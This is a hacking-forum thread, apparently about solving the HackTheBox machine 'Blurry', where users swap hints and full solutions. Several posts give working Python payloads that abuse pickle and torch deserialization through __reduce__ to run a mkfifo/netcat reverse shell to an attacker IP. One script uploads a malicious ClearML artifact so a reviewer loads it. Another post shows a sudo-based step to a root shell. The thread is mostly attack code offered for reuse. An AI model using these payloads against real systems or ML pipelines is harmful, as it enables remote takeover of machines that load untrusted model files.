HTB - Blurry
by black_panther - Saturday June 8, 2024 at 06:30 PM
#41
Is clearml-init with new keys from admin panel any help towards root?
Reply
#42
Guys any something hint for user LOL?
Ban reason: Leeching | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you feel this is incorrect. (Permanent)
Reply
#43
root:
sudo -l
Reply
#44
for root --


import torch import torch.nn as nn import os class CustomModel(nn.Module):     def __init__(self):         super(CustomModel, self).__init__()         self.linear = nn.Linear(10, 1)         def forward(self, x):         return self.linear(x)         def __reduce__(self):         # Custom reduce method         cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.X.X 4445 >/tmp/f"         return os.system, (cmd,) # Create an instance of the model model = CustomModel() # Save the model using torch.save torch.save(model, 'evil.pth')
Reply
#45
what is this error ?

import torch import torch.nn as nn import os import tarfile class CustomModel(nn.Module):     def __init__(self):         super(CustomModel, self).__init__()         self.linear = nn.Linear(10, 1)     def forward(self, x):         return self.linear(x)     def __reduce__(self):         # Custom reduce method         cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx xxxx >/tmp/f"         return os.system, (cmd,)     # Create an instance of the model model = CustomModel() # Save the model using torch.save os.makedirs('/tmp/storages', exist_ok=True) torch.save(model.state_dict(), '/tmp/storages/evil.pth') with tarfile.open('/tmp/evil_model.pth', 'w') as tar:     tar.add('/tmp/storages', arcname='storages')


$ python3 evil.py $ mv /tmp/evil_model.pth /models/ $ sudo /usr/bin/evaluate_model /models/evil_model.pth [+] Model /models/evil_model.pth is considered safe. Processing... Traceback (most recent call last):   File "/models/evaluate_model.py", line 76, in <module>     main(model_path)   File "/models/evaluate_model.py", line 65, in main     model = load_model(model_path)   File "/models/evaluate_model.py", line 32, in load_model     state_dict = torch.load(model_path)   File "/usr/local/lib/python3.9/dist-packages/torch/serialization.py", line 1040, in load     return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)   File "/usr/local/lib/python3.9/dist-packages/torch/serialization.py", line 1243, in _legacy_load     return legacy_load(f)   File "/usr/local/lib/python3.9/dist-packages/torch/serialization.py", line 1130, in legacy_load     with open(os.path.join(tmpdir, 'storages'), 'rb', 0) as f: IsADirectoryError: [Errno 21] Is a directory: '/tmp/tmpbtk_f6kw/storages'
Reply
#46
For root you can also just take the .pkl you created to get user and replace the one in the demo.
No need to really create something custom with torch.
Reply
#47
(06-09-2024, 04:46 AM)ritualist Wrote: For root you can also just take the .pkl you created to get user and replace the one in the demo.
No need to really create something custom with torch.

Ive been trying to get root for a while, I execute my malicious pth and the shell that i get is still user. When i try to sudo evaluate_model, I get asked for a password but i did not locate the password anywhere for the user.

What am I msising?
Reply
#48
(06-09-2024, 04:53 AM)testermoment Wrote:
(06-09-2024, 04:46 AM)ritualist Wrote: For root you can also just take the .pkl you created to get user and replace the one in the demo.
No need to really create something custom with torch.

Ive been trying to get root for a while, I execute my malicious pth and the shell that i get is still user. When i try to sudo evaluate_model, I get asked for a password but i did not locate the password anywhere for the user.

What am I msising?

Make sure to call it exactly as sudo -l says, it will not need a password. E.g.
sudo /usr/bin/evaluate_model /models/*.pth
or
sudo /usr/bin/evaluate_model /models/mymodel.pth
Reply
#49
(06-09-2024, 05:35 AM)3kyy Wrote: Payload exploit.py
#!/usr/bin/env python3 import os import pickle from clearml import Task class RunCommand:     def __reduce__(self):         return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.xx 443 >/tmp/f',)) command = RunCommand() task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=['review'], output_uri=True) task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True)

Root
rm -rf /usr/bin/evaluate_model.py echo -e 'import pty\npty.spawn("/bin/bash")' > evaluate_model.py sudo /usr/bin/evaluate_model /models/*.pth

Angel

Can you please tell me where do you need to enter that payload? I'm cloning one of the training models and editing it and putting the pyload in uncommited changes, but it's not triggering after adding it in queue
Reply
#50
(06-09-2024, 09:04 AM)wh1t3_r4bb1t Wrote:
(06-09-2024, 06:09 AM)Szakyro Wrote:
(06-09-2024, 05:35 AM)3kyy Wrote: Payload exploit.py
#!/usr/bin/env python3 import os import pickle from clearml import Task class RunCommand:     def __reduce__(self):         return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.xx 443 >/tmp/f',)) command = RunCommand() task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=['review'], output_uri=True) task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True)

Root
rm -rf /usr/bin/evaluate_model.py echo -e 'import pty\npty.spawn("/bin/bash")' > evaluate_model.py sudo /usr/bin/evaluate_model /models/*.pth

Angel

Can you please tell me where do you need to enter that payload? I'm cloning one of the training models and editing it and putting the pyload in uncommited changes, but it's not triggering after adding it in queue

In comment it's a full solution for user flag. Just clearml-init -> paste your config(app{...}, you can copy it from website), run that python script, it will init new task, upload artifact to it and add review tagg to trigger user to run it.

The strange thing is that I did that, and I have netcat listening on the port specified in it, but for some reason no connection is coming to netcat, and no revshell is triggered.

That's why I was still asking...
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HTB-ProLabs APTLABS Just Flags kewlsunny 24 6,954 07-12-2026, 04:10 AM
Last Post: cookky1
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 360 94,606 03-28-2026, 09:28 AM
Last Post: catsweet
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 87 12,247 03-27-2026, 07:22 PM
Last Post: stn
  HTB Eloquia User and Root Flags - Insane Box 69646B 13 4,840 03-27-2026, 06:14 PM
Last Post: vlxw
  HTB - ALL Challenges you Stuck in osamy7593 2 5,105 03-27-2026, 04:24 PM
Last Post: catsweet



 Users browsing this thread: 1 Guest(s)